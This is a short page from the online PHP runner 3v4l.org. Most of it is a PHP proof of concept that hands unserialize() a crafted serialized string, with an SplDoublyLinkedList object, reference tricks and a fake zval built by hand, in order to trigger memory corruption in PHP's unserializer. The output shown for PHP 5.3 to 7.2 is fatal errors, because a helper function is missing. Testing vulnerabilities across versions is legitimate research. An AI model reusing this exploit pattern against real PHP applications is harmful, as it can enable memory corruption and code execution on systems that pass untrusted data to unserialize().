3v4l.org

run code in 200+ php & hhvm versions
Bugs & Features
<?php class obj { var $ryat; function __wakeup() { $this->ryat = 1; } } $fakezval = ptr2str(1122334455); $fakezval .= ptr2str(0); $fakezval .= "\x00\x00\x00\x00"; $fakezval .= "\x01"; $fakezval .= "\x00"; $fakezval .= "\x00\x00"; $inner = 'i:1234;:i:1;'; $exploit = 'a:5:{i:0;i:1;i:1;C:19:"SplDoublyLinkedList":'.strlen($inner).':{'.$inner.'}i:2;O:3:"obj":1:{s:4:"ryat";R:3;}i:3;a:1:{i:0;R:5;}i:4;s:'.strlen($fakezval).':"'.$fakezval.'";}'; $data = unserialize($exploit); var_dump($data);
Output for 7.0.0 - 7.2.0
Fatal error: Uncaught Error: Call to undefined function ptr2str() in /in/ka92C:10 Stack trace: #0 {main} thrown in /in/ka92C on line 10
Process exited with code 255.
Output for 5.3.19 - 5.6.21
Fatal error: Call to undefined function ptr2str() in /in/ka92C on line 10
Process exited with code 255.